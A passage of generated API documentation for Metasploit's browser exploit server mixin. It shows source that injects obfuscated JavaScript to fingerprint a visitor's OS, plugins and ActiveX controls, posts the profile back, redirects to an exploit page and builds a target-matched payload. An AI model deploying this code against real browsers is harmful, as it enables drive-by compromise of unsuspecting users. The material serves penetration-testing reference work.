<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Comparing requirement: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_k'>k</span><span class='embexpr_end'>}</span><span class='tstring_content'>=</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_expected'>expected</span><span class='embexpr_end'>}</span><span class='tstring_content'> vs </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_k'>k</span><span class='embexpr_end'>}</span><span class='tstring_content'>=</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_profile'>profile</span><span class='lbracket'>[</span><span class='id identifier rubyid_k'>k</span><span class='rbracket'>]</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
|
||
<span class='kw'>if</span> <span class='id identifier rubyid_k'>k</span> <span class='op'>==</span> <span class='symbol'>:activex</span>
|
||
<span class='id identifier rubyid_bad_reqs'>bad_reqs</span> <span class='op'><<</span> <span class='id identifier rubyid_k'>k</span> <span class='kw'>if</span> <span class='id identifier rubyid_has_bad_activex?'>has_bad_activex?</span><span class='lparen'>(</span><span class='id identifier rubyid_profile'>profile</span><span class='lbracket'>[</span><span class='id identifier rubyid_k'>k</span><span class='rbracket'>]</span><span class='rparen'>)</span>
|
||
<span class='kw'>elsif</span> <span class='id identifier rubyid_k'>k</span> <span class='op'>==</span> <span class='symbol'>:vuln_test</span>
|
||
<span class='id identifier rubyid_bad_reqs'>bad_reqs</span> <span class='op'><<</span> <span class='id identifier rubyid_k'>k</span> <span class='kw'>unless</span> <span class='id identifier rubyid_profile'>profile</span><span class='lbracket'>[</span><span class='id identifier rubyid_k'>k</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span> <span class='op'>==</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>true</span><span class='tstring_end'>'</span></span>
|
||
<span class='kw'>elsif</span> <span class='id identifier rubyid_v'>v</span><span class='period'>.</span><span class='id identifier rubyid_is_a?'>is_a?</span> <span class='const'>Regexp</span>
|
||
<span class='id identifier rubyid_bad_reqs'>bad_reqs</span> <span class='op'><<</span> <span class='id identifier rubyid_k'>k</span> <span class='kw'>if</span> <span class='id identifier rubyid_profile'>profile</span><span class='lbracket'>[</span><span class='id identifier rubyid_k'>k</span><span class='rbracket'>]</span> <span class='op'>!~</span> <span class='id identifier rubyid_v'>v</span>
|
||
<span class='kw'>elsif</span> <span class='id identifier rubyid_v'>v</span><span class='period'>.</span><span class='id identifier rubyid_is_a?'>is_a?</span> <span class='const'>Proc</span>
|
||
<span class='id identifier rubyid_bad_reqs'>bad_reqs</span> <span class='op'><<</span> <span class='id identifier rubyid_k'>k</span> <span class='kw'>unless</span> <span class='id identifier rubyid_v'>v</span><span class='period'>.</span><span class='id identifier rubyid_call'>call</span><span class='lparen'>(</span><span class='id identifier rubyid_profile'>profile</span><span class='lbracket'>[</span><span class='id identifier rubyid_k'>k</span><span class='rbracket'>]</span><span class='rparen'>)</span>
|
||
<span class='kw'>else</span>
|
||
<span class='id identifier rubyid_bad_reqs'>bad_reqs</span> <span class='op'><<</span> <span class='id identifier rubyid_k'>k</span> <span class='kw'>if</span> <span class='id identifier rubyid_profile'>profile</span><span class='lbracket'>[</span><span class='id identifier rubyid_k'>k</span><span class='rbracket'>]</span> <span class='op'>!=</span> <span class='id identifier rubyid_v'>v</span>
|
||
<span class='kw'>end</span>
|
||
<span class='kw'>end</span>
|
||
|
||
<span class='id identifier rubyid_bad_reqs'>bad_reqs</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="get_custom_404_url-instance_method">
|
||
|
||
#<strong>get_custom_404_url</strong> ⇒ <tt>String</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Returns the custom 404 URL set by the user</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
<p class="tag_title">Returns:</p>
|
||
<ul class="return">
|
||
|
||
<li>
|
||
|
||
|
||
<span class='type'>(<tt>String</tt>)</span>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
145
|
||
146
|
||
147</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 145</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_get_custom_404_url'>get_custom_404_url</span>
|
||
<span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Custom404</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="get_detection_html-instance_method">
|
||
|
||
#<strong>get_detection_html</strong>(user_agent) ⇒ <tt>String</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Returns the code for client-side detection</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
<p class="tag_title">Parameters:</p>
|
||
<ul class="param">
|
||
|
||
<li>
|
||
|
||
<span class='name'>user_agent</span>
|
||
|
||
|
||
<span class='type'>(<tt>String</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>The user-agent of the browser</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
<p class="tag_title">Returns:</p>
|
||
<ul class="return">
|
||
|
||
<li>
|
||
|
||
|
||
<span class='type'>(<tt>String</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>Returns the HTML for detection</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
358
|
||
359
|
||
360
|
||
361
|
||
362
|
||
363
|
||
364
|
||
365
|
||
366
|
||
367
|
||
368
|
||
369
|
||
370
|
||
371
|
||
372
|
||
373
|
||
374
|
||
375
|
||
376
|
||
377
|
||
378
|
||
379
|
||
380
|
||
381
|
||
382
|
||
383
|
||
384
|
||
385
|
||
386
|
||
387
|
||
388
|
||
389
|
||
390
|
||
391
|
||
392
|
||
393
|
||
394
|
||
395
|
||
396
|
||
397
|
||
398
|
||
399
|
||
400
|
||
401
|
||
402
|
||
403
|
||
404
|
||
405
|
||
406
|
||
407
|
||
408
|
||
409
|
||
410
|
||
411
|
||
412
|
||
413
|
||
414
|
||
415
|
||
416
|
||
417
|
||
418
|
||
419
|
||
420
|
||
421
|
||
422
|
||
423
|
||
424
|
||
425
|
||
426
|
||
427
|
||
428
|
||
429
|
||
430
|
||
431
|
||
432
|
||
433
|
||
434
|
||
435
|
||
436
|
||
437
|
||
438
|
||
439
|
||
440
|
||
441
|
||
442
|
||
443
|
||
444
|
||
445
|
||
446
|
||
447
|
||
448
|
||
449
|
||
450
|
||
451
|
||
452
|
||
453
|
||
454
|
||
455
|
||
456
|
||
457
|
||
458
|
||
459
|
||
460
|
||
461
|
||
462
|
||
463
|
||
464
|
||
465
|
||
466
|
||
467
|
||
468
|
||
469
|
||
470
|
||
471
|
||
472
|
||
473
|
||
474
|
||
475
|
||
476
|
||
477
|
||
478
|
||
479
|
||
480
|
||
481
|
||
482
|
||
483
|
||
484
|
||
485
|
||
486
|
||
487
|
||
488
|
||
489
|
||
490
|
||
491
|
||
492
|
||
493
|
||
494
|
||
495
|
||
496
|
||
497
|
||
498
|
||
499
|
||
500
|
||
501
|
||
502
|
||
503
|
||
504
|
||
505
|
||
506
|
||
507
|
||
508
|
||
509
|
||
510
|
||
511</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 358</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_get_detection_html'>get_detection_html</span><span class='lparen'>(</span><span class='id identifier rubyid_user_agent'>user_agent</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_ua_info'>ua_info</span> <span class='op'>=</span> <span class='id identifier rubyid_fingerprint_user_agent'>fingerprint_user_agent</span><span class='lparen'>(</span><span class='id identifier rubyid_user_agent'>user_agent</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_os'>os</span> <span class='op'>=</span> <span class='id identifier rubyid_ua_info'>ua_info</span><span class='lbracket'>[</span><span class='symbol'>:os_name</span><span class='rbracket'>]</span>
|
||
<span class='id identifier rubyid_client'>client</span> <span class='op'>=</span> <span class='id identifier rubyid_ua_info'>ua_info</span><span class='lbracket'>[</span><span class='symbol'>:ua_name</span><span class='rbracket'>]</span>
|
||
|
||
<span class='id identifier rubyid_code'>code</span> <span class='op'>=</span> <span class='const'>ERB</span><span class='period'>.</span><span class='id identifier rubyid_new'>new</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>%Q|</span><span class='tstring_content'>
|
||
<%= js_base64 %>
|
||
<%= js_os_detect %>
|
||
<%= js_ajax_post %>
|
||
<%= js_misc_addons_detect %>
|
||
<%= js_ie_addons_detect if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %>
|
||
|
||
function objToQuery(obj) {
|
||
var q = [];
|
||
for (var key in obj) {
|
||
q.push(encodeURIComponent(key) + '=' + encodeURIComponent(obj[key]));
|
||
}
|
||
return Base64.encode(q.join('&'));
|
||
}
|
||
|
||
function isEmpty(str) {
|
||
return (!str \|\| 0 === str.length);
|
||
}
|
||
|
||
function sendInfo(info) {
|
||
var query = objToQuery(info);
|
||
postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query, function(){
|
||
window.location="<%= get_module_resource %>";
|
||
});
|
||
}
|
||
|
||
var flashVersion = "";
|
||
var doInterval = true;
|
||
var maxTimeout = null;
|
||
var intervalTimeout = null;
|
||
|
||
function setFlashVersion(ver) {
|
||
flashVersion = ver
|
||
if (maxTimeout != null) {
|
||
clearTimeout(maxTimeout);
|
||
maxTimeout = null
|
||
}
|
||
doInterval = false
|
||
return;
|
||
}
|
||
|
||
function createFlashObject(src, attributes, parameters) {
|
||
var i, html, div, obj, attr = attributes \|\| {}, param = parameters \|\| {};
|
||
attr.type = 'application/x-shockwave-flash';
|
||
if (window.ActiveXObject) {
|
||
attr.classid = 'clsid:d27cdb6e-ae6d-11cf-96b8-444553540000';
|
||
param.movie = src;
|
||
} else {
|
||
attr.data = src;
|
||
}
|
||
|
||
html = '<object';
|
||
for (i in attr) {
|
||
html += ' ' + i + '="' + attr[i] + '"';
|
||
}
|
||
html += '>';
|
||
for (i in param) {
|
||
html += '<param name="' + i + '" value="' + param[i] + '" />';
|
||
}
|
||
html += '</object>';
|
||
div = document.createElement('div');
|
||
div.innerHTML = html;
|
||
obj = div.firstChild;
|
||
div.removeChild(obj);
|
||
return obj;
|
||
}
|
||
|
||
window.onload = function() {
|
||
var osInfo = os_detect.getVersion();
|
||
var d = {
|
||
"os_vendor" : osInfo.os_vendor,
|
||
"os_device" : osInfo.os_device,
|
||
"ua_name" : osInfo.ua_name,
|
||
"ua_ver" : osInfo.ua_version,
|
||
"arch" : osInfo.arch,
|
||
"java" : misc_addons_detect.getJavaVersion(),
|
||
"silverlight" : misc_addons_detect.hasSilverlight(),
|
||
"flash" : misc_addons_detect.getFlashVersion(),
|
||
"vuln_test" : <%= js_vuln_test %>,
|
||
"os_name" : osInfo.os_name
|
||
};
|
||
|
||
<% if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %>
|
||
d['office'] = ie_addons_detect.getMsOfficeVersion();
|
||
d['mshtml_build'] = ScriptEngineBuildVersion().toString();
|
||
<%
|
||
activex = @requirements[:activex]
|
||
if activex
|
||
activex.each do \|a\|
|
||
clsid = a[:clsid]
|
||
method = a[:method]
|
||
%>
|
||
var ax = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
|
||
d['activex'] = "";
|
||
if (ax == true) {
|
||
d['activex'] += "<%=clsid%>=><%=method%>=>true;";
|
||
} else {
|
||
d['activex'] += "<%=clsid%>=><%=method%>=>false;";
|
||
}
|
||
<% end %>
|
||
<% end %>
|
||
<% end %>
|
||
|
||
if (d["flash"] != null && (d["flash"].match(/[\\d]+.[\\d]+.[\\d]+.[\\d]+/)) == null) {
|
||
var flashObject = createFlashObject('<%=get_resource.chomp("/")%>/<%=@flash_swf%>', {width: 1, height: 1}, {allowScriptAccess: 'always', Play: 'True'});
|
||
|
||
// After 5s stop waiting and use the version retrieved with JS if there isn't anything
|
||
maxTimeout = setTimeout(function() {
|
||
if (intervalTimeout != null) {
|
||
doInterval = false
|
||
clearInterval(intervalTimeout)
|
||
}
|
||
if (!isEmpty(flashVersion)) {
|
||
d["flash"] = flashVersion
|
||
}
|
||
sendInfo(d);
|
||
}, 5000);
|
||
|
||
// Check if there is a new flash version every 100ms
|
||
intervalTimeout = setInterval(function() {
|
||
if (!doInterval) {
|
||
clearInterval(intervalTimeout);
|
||
if (!isEmpty(flashVersion)) {
|
||
d["flash"] = flashVersion
|
||
}
|
||
sendInfo(d);
|
||
}
|
||
}, 100);
|
||
|
||
document.body.appendChild(flashObject)
|
||
} else {
|
||
sendInfo(d)
|
||
}
|
||
}
|
||
</span><span class='tstring_end'>|</span></span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_result'>result</span><span class='lparen'>(</span><span class='id identifier rubyid_binding'>binding</span><span class='lparen'>(</span><span class='rparen'>)</span><span class='rparen'>)</span>
|
||
|
||
<span class='id identifier rubyid_js'>js</span> <span class='op'>=</span> <span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Exploitation</span><span class='op'>::</span><span class='const'>JSObfu</span><span class='period'>.</span><span class='id identifier rubyid_new'>new</span> <span class='id identifier rubyid_code'>code</span>
|
||
<span class='id identifier rubyid_js'>js</span><span class='period'>.</span><span class='id identifier rubyid_obfuscate'>obfuscate</span>
|
||
|
||
<span class='tstring'><span class='tstring_beg'>%Q|</span><span class='tstring_content'>
|
||
<script>
|
||
</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_js'>js</span><span class='embexpr_end'>}</span><span class='tstring_content'>
|
||
</script>
|
||
<noscript>
|
||
<img style="visibility:hidden" src="</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_get_resource'>get_resource</span><span class='period'>.</span><span class='id identifier rubyid_chomp'>chomp</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>/</span><span class='embexpr_beg'>#{</span><span class='ivar'>@noscript_receiver_page</span><span class='embexpr_end'>}</span><span class='tstring_content'>/">
|
||
<meta http-equiv="refresh" content="1; url=</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_get_module_resource'>get_module_resource</span><span class='embexpr_end'>}</span><span class='tstring_content'>">
|
||
</noscript>
|
||
</span><span class='tstring_end'>|</span></span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="get_module_resource-instance_method">
|
||
|
||
#<strong>get_module_resource</strong> ⇒ <tt>String</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Returns the resource (URI) to the module to allow access to on_request_exploit</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
<p class="tag_title">Returns:</p>
|
||
<ul class="return">
|
||
|
||
<li>
|
||
|
||
|
||
<span class='type'>(<tt>String</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>URI to the exploit page</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
153
|
||
154
|
||
155</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 153</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_get_module_resource'>get_module_resource</span>
|
||
<span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_get_resource'>get_resource</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span><span class='period'>.</span><span class='id identifier rubyid_chomp'>chomp</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>/</span><span class='embexpr_beg'>#{</span><span class='ivar'>@exploit_receiver_page</span><span class='embexpr_end'>}</span><span class='tstring_content'>/</span><span class='tstring_end'>"</span></span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="get_module_uri-instance_method">
|
||
|
||
#<strong>get_module_uri</strong> ⇒ <tt>String</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Returns the absolute URL to the module’s resource that points to on_request_exploit</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
<p class="tag_title">Returns:</p>
|
||
<ul class="return">
|
||
|
||
<li>
|
||
|
||
|
||
<span class='type'>(<tt>String</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>absolute URI to the exploit page</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
161
|
||
162
|
||
163</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 161</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_get_module_uri'>get_module_uri</span>
|
||
<span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_get_uri'>get_uri</span><span class='period'>.</span><span class='id identifier rubyid_chomp'>chomp</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>/</span><span class='embexpr_beg'>#{</span><span class='ivar'>@exploit_receiver_page</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="get_payload-instance_method">
|
||
|
||
#<strong>get_payload</strong>(cli, browser_info) ⇒ <tt>String</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Generates a target-specific payload, should be called by the module</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
<p class="tag_title">Parameters:</p>
|
||
<ul class="param">
|
||
|
||
<li>
|
||
|
||
<span class='name'>cli</span>
|
||
|
||
|
||
<span class='type'>(<tt>Socket</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>Socket for the browser</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
<li>
|
||
|
||
<span class='name'>browser_info</span>
|
||
|
||
|
||
<span class='type'>(<tt>Hash</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>The target profile</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
<p class="tag_title">Returns:</p>
|
||
<ul class="return">
|
||
|
||
<li>
|
||
|
||
|
||
<span class='type'>(<tt>String</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>The payload</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
660
|
||
661
|
||
662
|
||
663
|
||
664
|
||
665
|
||
666
|
||
667
|
||
668
|
||
669
|
||
670
|
||
671
|
||
672
|
||
673
|
||
674
|
||
675
|
||
676
|
||
677
|
||
678
|
||
679</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 660</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_get_payload'>get_payload</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='comma'>,</span> <span class='id identifier rubyid_browser_info'>browser_info</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_arch'>arch</span> <span class='op'>=</span> <span class='id identifier rubyid_browser_info'>browser_info</span><span class='lbracket'>[</span><span class='symbol'>:arch</span><span class='rbracket'>]</span>
|
||
<span class='id identifier rubyid_platform'>platform</span> <span class='op'>=</span> <span class='id identifier rubyid_browser_info'>browser_info</span><span class='lbracket'>[</span><span class='symbol'>:os_name</span><span class='rbracket'>]</span>
|
||
|
||
<span class='comment'># Fix names for consistency so our API can find the right one
|
||
</span> <span class='comment'># Originally defined in lib/msf/core/constants.rb
|
||
</span> <span class='id identifier rubyid_platform'>platform</span> <span class='op'>=</span> <span class='id identifier rubyid_platform'>platform</span><span class='period'>.</span><span class='id identifier rubyid_gsub'>gsub</span><span class='lparen'>(</span><span class='tstring'><span class='regexp_beg'>/</span><span class='tstring_content'>^Mac OS X$</span><span class='regexp_end'>/</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>OSX</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_platform'>platform</span> <span class='op'>=</span> <span class='id identifier rubyid_platform'>platform</span><span class='period'>.</span><span class='id identifier rubyid_gsub'>gsub</span><span class='lparen'>(</span><span class='tstring'><span class='regexp_beg'>/</span><span class='tstring_content'>^Windows.*$</span><span class='regexp_end'>/</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Windows</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span>
|
||
|
||
<span class='id identifier rubyid_p'>p</span> <span class='op'>=</span> <span class='id identifier rubyid_regenerate_payload'>regenerate_payload</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='comma'>,</span> <span class='id identifier rubyid_platform'>platform</span><span class='comma'>,</span> <span class='id identifier rubyid_arch'>arch</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_target_arch'>target_arch</span> <span class='op'>=</span> <span class='id identifier rubyid_get_target'>get_target</span><span class='period'>.</span><span class='id identifier rubyid_arch'>arch</span> <span class='op'>||</span> <span class='id identifier rubyid_arch'>arch</span>
|
||
|
||
<span class='kw'>unless</span> <span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_arch'>arch</span><span class='period'>.</span><span class='id identifier rubyid_all?'>all?</span> <span class='lbrace'>{</span> <span class='op'>|</span><span class='id identifier rubyid_e'>e</span><span class='op'>|</span> <span class='id identifier rubyid_target_arch'>target_arch</span><span class='period'>.</span><span class='id identifier rubyid_include?'>include?</span><span class='lparen'>(</span><span class='id identifier rubyid_e'>e</span><span class='rparen'>)</span> <span class='rbrace'>}</span>
|
||
<span class='id identifier rubyid_err'>err</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>The payload arch (</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_arch'>arch</span> <span class='op'>*</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>, </span><span class='tstring_end'>"</span></span><span class='embexpr_end'>}</span><span class='tstring_content'>) is incompatible with the target (</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_target_arch'>target_arch</span> <span class='op'>*</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\n</span><span class='tstring_end'>"</span></span><span class='embexpr_end'>}</span><span class='tstring_content'>). </span><span class='tstring_end'>"</span></span>
|
||
<span class='id identifier rubyid_err'>err</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Please check your payload setting.</span><span class='tstring_end'>"</span></span>
|
||
<span class='id identifier rubyid_raise'>raise</span> <span class='const'><span class='object_link'><a href="BrowserExploitServer/BESException.html" title="Msf::Exploit::Remote::BrowserExploitServer::BESException (class)">BESException</a></span></span><span class='comma'>,</span> <span class='id identifier rubyid_err'>err</span>
|
||
<span class='kw'>end</span>
|
||
|
||
<span class='kw'>return</span> <span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_encoded'>encoded</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="get_target-instance_method">
|
||
|
||
#<strong>get_target</strong> ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Returns the current target</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
167
|
||
168
|
||
169</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 167</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_get_target'>get_target</span>
|
||
<span class='ivar'>@target</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="has_bad_activex?-instance_method">
|
||
|
||
#<strong>has_bad_activex?</strong>(ax) ⇒ <tt>Boolean</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Returns true if there’s a bad ActiveX, otherwise false.</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
<p class="tag_title">Parameters:</p>
|
||
<ul class="param">
|
||
|
||
<li>
|
||
|
||
<span class='name'>ax</span>
|
||
|
||
|
||
<span class='type'>(<tt>String</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>The raw activex the JavaScript detection will return in this format: "CLSID=>Method=>Boolean;"</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
<p class="tag_title">Returns:</p>
|
||
<ul class="return">
|
||
|
||
<li>
|
||
|
||
|
||
<span class='type'>(<tt>Boolean</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>True if there's a bad ActiveX, otherwise false</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
221
|
||
222
|
||
223
|
||
224
|
||
225
|
||
226
|
||
227
|
||
228
|
||
229
|
||
230</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 221</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_has_bad_activex?'>has_bad_activex?</span><span class='lparen'>(</span><span class='id identifier rubyid_ax'>ax</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_ax'>ax</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span><span class='period'>.</span><span class='id identifier rubyid_split'>split</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>;</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_each'>each</span> <span class='kw'>do</span> <span class='op'>|</span><span class='id identifier rubyid_a'>a</span><span class='op'>|</span>
|
||
<span class='id identifier rubyid_bool'>bool</span> <span class='op'>=</span> <span class='id identifier rubyid_a'>a</span><span class='period'>.</span><span class='id identifier rubyid_split'>split</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>=></span><span class='tstring_end'>'</span></span><span class='rparen'>)</span><span class='lbracket'>[</span><span class='int'>2</span><span class='rbracket'>]</span>
|
||
<span class='kw'>if</span> <span class='id identifier rubyid_bool'>bool</span> <span class='op'>==</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>false</span><span class='tstring_end'>'</span></span>
|
||
<span class='kw'>return</span> <span class='kw'>true</span>
|
||
<span class='kw'>end</span>
|
||
<span class='kw'>end</span>
|
||
|
||
<span class='kw'>false</span>
|
